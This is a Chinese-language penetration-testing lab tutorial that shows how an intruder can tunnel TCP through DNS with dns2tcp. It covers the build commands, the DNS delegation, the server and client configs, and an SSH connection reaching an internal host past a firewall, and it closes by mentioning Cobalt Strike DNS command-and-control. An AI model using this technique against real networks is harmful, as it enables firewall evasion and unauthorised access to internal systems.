DNS隧道 之 端口转发 [ 一 ]

0x01 本次实验环境大致如下:

1
2
3
4
centos7_x64[heightlamp] 公网ip: 192.168.3.42 假设为入侵者自己的公网机器,即dns2tcp客户端
centos7_x64[heightlnmp] 公网ip: 192.168.3.41 内网ip: 192.168.32.123 假设为目标DMZ中的机器,有防火墙,即dns2tcp服务端
win2012r2en 公网ip: 192.168.3.123 假设为入侵者自己公网的dns服务器
centos6.8_x64[Midlnmp] 内网ip: 192.168.32.212 假设为目标内网中的一台linux机器

0x02 我们要实现的最终目的

1
2
3
4
正常情况下,我们本想通过heightlnmp机器来访问目标内网中Midlnmp的ssh,但苦于heightlamp和heightlamp之间的防火墙
且防火墙只允许真正的dns流量通过,所以,我们现在想通过在自己公网的dns服务器上做转发来绕过它们之间的防火墙
即在heightlamp和heightlnmp之间建立一层dns隧道,把要转发的端口数据都封装在dns流量里面进行穿透
最后实现的效果就是,当我访问heightlamp的某个指定端口,就可以直接访问到目标内网中的Midlnmp的ssh

0x03 首先,下载编译安装dns2tcp,注意,heightlamp,heightlnmp两台机器都要装上,因为就是要在它们之间建立DNS隧道,即一个作为客户端,一个作为服务端,当然,也有对应的win和rb版本,如果你弹回的是一个meterpreter的shell,也可以事先将dns2tcp模块加到msf中,然后绑定到指定的会话上

1
2
3
4
5
# wget http://www.hsc.fr/ressources/outils/dns2tcp/download/dns2tcp-0.5.2.tar.gz
# tar xf dns2tcp-0.5.2.tar.gz
# cd dns2tcp-0.5.2
# ./configure && make && make install
# echo $?

0x04 dns2tcp安装没什么问题之后,我们开始去配置自己的dns服务器,这也是整个过程中最核心的地方,务必要好好理解

打开dns服务器配置,先创建一个名为klionsec.org的正向区域,在此区域中新建一条指向heightlnmp机器名为setunnel的A记录


之后在该域中再新建一个名为Nday的子域,最后,在该子域中新建一条委派,将委派指向刚刚创建好的A记录,即,sec.nday.klionsec.org,如下





然后,分别到heightlamp和heightlnmp机器上把下面的解析指向添加本地dns配置中,说白点就是让win2012r2en这台机器为我们解析域名

1
2
# vi /etc/resolv.conf
nameserver 192.168.3.123 指定本地的默认dns服务器为win2012r2en的ip

此时,分别到heightlnmp和heightlamp机器上去用nslookup跟踪下sec.nday.klionsec.org的解析结果,看是不是都解析到了192.168.3.41上,两台机器解析必须正常,否则隧道是无法建立的

0x05 DNS 配置无误之后,我们回到heightlnmp机器上,开始配置dns隧道的服务端,如下

编辑dns2tcp服务端配置文件

1
2
3
4
5
6
7
8
9
# vi ./dns2tcpdrc.conf
listen = 0.0.0.0
port = 53
user= nobody
chroot = /tmp
pid_file = /var/run/dns2tcp.pid
domain = sec.nday.klionsec.org
key = klion
resources = ssh:192.168.32.212:22 这里端口可以换成你要转发的其它任何tcp端口,如,25,23,110,80...

启动服务端

1
2
# dns2tcpd -F -d 1 -f dns2tcpdrc.conf &
# pkill dns2tcpd

0x06 此时,再回到heightlamp机器上,配置好dns隧道的客户端,如下

配置之前,我们先测下,看看和服务端能不能通

1
# dns2tcpc -z sec.nday.klionsec.org -k klion

编辑dns2tcp客户端配置文件

1
2
3
4
5
6
# vi ./dns2tcpc.conf
domain = sec.nday.klionsec.org
resource = rdp
local_port = 1389
key = klion
debug_level = 1

启动客户端

1
2
# dns2tcpc -c -f dns2tcpc.conf &
# pkill dns2tcpc

在heightlamp上连接本地的1389端口,看看能不能连到Midlnmp的22端口上,很明显,如下图,已经成功连上去了

1
# ssh root@127.0.0.1 -p 1389

在heightlamp上观察下经过的dns流量,一目了然

1
# tcpdump -i ens33 port 53



小结:
    看到这里,想必大家现在也理解的差不多了,在深刻理解了整个运作流程之后,利用dns隧道进行端口转发,其实就这么简单,确实也是个烂大街的把戏了,不过,碰到一些特别恶劣的环境,还是非常值得一试的,与其说是DNS隧道,不如说是udp隧道,相对更确切些,因为DNS的请求响应默认走的是udp的53端口,另外,有些朋友可能还有些误解,认为只要是53端口就一定跑的是dns服务,就像大家普遍认为的只要是80端口跑的就一定是web服务一样,其实不然,我们区分不同的服务,并非根据端口,而是根据不同服务所使用的协议报文格式来决定的,隧道的意思其实也就是按照指定的协议对数据进行重新封装,当然,除了端口转发,还有各种基于DNS隧道通信的远控,如,典型的Cobalt strike等…至于利用dns log进行sql注入,执行代码,可能大家也都比较熟练了,这里就不细说了